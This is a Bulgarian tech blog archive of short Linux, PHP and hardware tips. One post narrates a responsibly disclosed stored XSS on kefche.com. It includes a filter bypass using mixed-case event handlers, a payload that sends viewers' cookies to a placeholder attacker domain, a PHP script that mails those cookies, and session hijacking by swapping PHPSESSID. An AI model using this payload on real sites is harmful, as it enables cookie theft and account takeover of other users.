Archive

Author Archive

Lenovo Thinkpad Edge – Active Protection System

Lenovo Active Protection System (APS) е онова нещо, на което ще сте благодарни когато изпуснете лаптопа си от високо… не много високо :-)

При местене и съответно изпускане на лаптопа, APS изключва хард диска, като това увеличава шансовете Ви да извадите от него непокътнатата си информация след тежко падане.

Как се инсталира под Ubuntu 11.10:

sudo apt-get install hdapsd tp-smapi-dkms

Надявам се никога да не Ви се налага да използвате възможностите на Lenovo Active Protection System.

Categories: Hardware, Linux, Защита Tags:

Lenovo Thinkpad Edge – fingerprint reader

… или как да пуснем четеца на пръстови отпечатъци на Lenovo Thinkpad Edge под Ubuntu 11.10

След картко търсене в Google, най-добрият вариант се оказа инсталацията на Fingerprint GUI, който автоматично разпозна четеца.

След пускането му можете да сканирате до 10 пръста, с които да се логвате в системата си без парола.
Уловката е, че ако вашият home folder е криптиран, няма да можете да се логнете само с пръстов отпечатък. Софтуера предлага възможност да запишете паролата на акаунта си на USB флашка /USB Stick/ и ако въпросната флашка е включена в компютъра докато се логвате с пръстов отпечатък – воала! и вече сте логнат.

При използването на командата “sudo” в terminal-a, също имате възможност да използвате пръстовия си отпечатък вместо парола.

Как се инсталира:
Първо добавяме repository-то за Fingerpring GUI:

sudo add-apt-repository ppa:fingerprint/fingerprint-gui
sudo apt-get update

Инсталираме със следната команда:

sudo apt-get install libbsapi policykit-1-fingerprint-gui fingerprint-gui

След това излизаме от Logout и се логваме наново. Стартираме програмата Fingerprint GUI, сканираме отпечатъците си и сме готови.

В линка посочен по-горе има подробно описание на процедурата, но се надявам да съм обяснил всичко максимално елементарно.

Categories: Ubuntu, Защита Tags:

Съвет: shared hosting – проблем с потребители и достъп до директории

Това е първият ми пост, който е по-скоро въпрос, отколкото решение на даден проблем.

Проблем:
Как да направим shared hosting с Nginx + PHP-FastCGI?

Условия:
1. Всеки потребител да има собствена директория и да не може да излиза от нея когато е логнат през SSH.
2. Да няма стартиран FastCGI процес за всеки различен потребител. Тоест, всички потребители да споделят един и същ FastCGI процес.
3. Не трябва при разглеждане на директориите с PHP скрипт, потребителя, който е пуснал скрипта да има достъп до останалите хостинг акаунти на машината.

Това, което мисля е, че точки 2 и 3 са взаимно изключващи се, но тъй като нямам цялостно решение на проблема си, приемам всякакви съвети.

Categories: Linux, Защита, Хостинг Tags:

Quick Tip: formatting hard drive partition with ext3

mke2fs -j /dev/hdc1

или

mkfs -t ext3 /dev/hdc1

Където /dev/hdc1 е partition-a, който искаме да форматираме

Categories: Cent OS, Debian, Filesystems, Linux, Quick Tips Tags:

Модифициране на HTTP Headers с PHP

// See related links for more status codes
 
// Use this header instruction to fix 404 headers
// produced by url rewriting...
header('HTTP/1.1 200 OK');
 
// Page was not found:
header('HTTP/1.1 404 Not Found');
 
// Access forbidden:
header('HTTP/1.1 403 Forbidden');
 
// The page moved permanently should be used for
// all redrictions, because search engines know
// what's going on and can easily update their urls.
header('HTTP/1.1 301 Moved Permanently');
 
// Server error
header('HTTP/1.1 500 Internal Server Error');
 
// Redirect to a new location:
header('Location: http://www.example.org/');
 
// Redriect with a delay:
header('Refresh: 10; url=http://www.example.org/');
print 'You will be redirected in 10 seconds';
 
// you can also use the HTML syntax:
// <meta http-equiv="refresh" content="10;http://www.example.org/ />
 
// override X-Powered-By value
header('X-Powered-By: PHP/4.4.0');
header('X-Powered-By: Brain/0.6b');
 
// content language (en = English)
header('Content-language: en');
 
// last modified (good for caching)
$time = time() - 60; // or filemtime($fn), etc
header('Last-Modified: '.gmdate('D, d M Y H:i:s', $time).' GMT');
 
// header for telling the browser that the content
// did not get changed
header('HTTP/1.1 304 Not Modified');
 
// set content length (good for caching):
header('Content-Length: 1234');
 
// Headers for an download:
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="example.zip"'); 
header('Content-Transfer-Encoding: binary');
// load the file to send:
readfile('example.zip');
 
// Disable caching of the current document:
header('Cache-Control: no-cache, no-store, max-age=0, must-revalidate');
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past
header('Pragma: no-cache');
 
// set content type:
header('Content-Type: text/html; charset=iso-8859-1');
header('Content-Type: text/html; charset=utf-8');
header('Content-Type: text/plain'); // plain text file
header('Content-Type: image/jpeg'); // JPG picture
header('Content-Type: application/zip'); // ZIP file
header('Content-Type: application/pdf'); // PDF file
header('Content-Type: audio/mpeg'); // Audio MPEG (MP3,...) file
header('Content-Type: application/x-shockwave-flash'); // Flash animation
 
// show sign in box
header('HTTP/1.1 401 Unauthorized');
header('WWW-Authenticate: Basic realm="Top Secret"');
print 'Text that will be displayed if the user hits cancel or ';
print 'enters wrong login data';

Не мога да си припиша заслугите, но понеже ми хареса, статията е copy/paste @ jonasjohn

Categories: PHP Tags:

Елементарен скрипт за изпращане на mail през bash

#!/bin/bash
SUBJECT="I am subject"
EMAIL="user@domain.com"
 
EMAILMESSAGE=""
echo "Hello World" > $EMAILMESSAGE
echo "I am test text" >> $EMAILMESSAGE
 
/bin/mail -s "$SUBJECT" "$EMAIL" < $EMAILMESSAGE
Categories: bash Tags:

“Bad file descriptor” грешка при компилиране на РНР

Днес инсталирам нова машина и се натъкнах на един странен проблем:
(тук спестявам доста редове грешки при конфигурирането)

./configure: 608: 6: Bad file descriptor

Решението на проблема е, да си инсталирам autoconf2.13 (на къде без него :) )

apt-get install autoconf2.13
Categories: Debian, PHP Tags:

MySQL query status “Repair by sorting”

“Repair by sorting” is MyISAM’s way of updating the indexes after a bulk insert. When inserting Millions of rows of data into a MyISAM table, it is normal for the index updates to take longer than the actual inserts.

copy/paste @ mysql

Categories: MySQL Tags:

Как хакнах kefche.com? :)

Като начало ще кажа, че предварително съм уведомил най-главния администратор, (или поне така пишеше в екипа на сайта) mesmeric, за проблема.

И сега, за да не се опитвате да го правите отново и отново, трябва да знаете, че проблема вече е разрешен от програмистите на сайта и дупката е затворена.

Какво се случи всъщност…

Както се “разхождах” насам-натам из сайта, реших да проверя какво може самият сайт (това ми е професионално изкривяване). Без да искам се натъкнах на съвсем елементарен начин да инжеркирам JavaScript в описанието на профила си.
Профил -> Настройки -> Описание и там написах следното:

<body onload="alert('hello world');">

Тъй като не се получи, опитах нещо друго, а именно:

<body oNload="alert('hello world');">

Забележете, че тук имам главно N. Това се прие от системата и всеки, който отвореше профила ми виждаше това, което съм написал в oNload таг-а.

Реших да си поиграя още малко (межувременно чаках отговор от администраторите на kefche).
Използвах следният скрипт:

<body onLoad="new Image().src='http://XSSATTACKDOMAIN.com/kefche.php?c='+encodeURI(document.cookie)+'USERNAME__'+document.getElementsByClassName('wlink')[0];">

Тоест, взимам всички cookies на потребителя, който разглежда моят профил заедно с линк до неговият потребителски профил и ги изпращам на мейла си:

kefche.php

mail('mail@domain.com', 'kefche sess', $_GET['c']);

После сменям моето PHPSESSID със стойността на нечие друго потребителско cookie и на следващият клик се озовавам с неговият акаунт :)

Инфо: след като оправиха проблема изрично съм поискал разрешение от въпросната администраторка за да публикувам тази статия.

Quick: mdadm check RAID

Как да накараме mdadm да ни информира ако имаме проблем с някой от RAID масивите?

Елементарно:

mdadm --monitor --scan --mail=MAIL@DOMAIN.com --delay=3600 --daemonize --test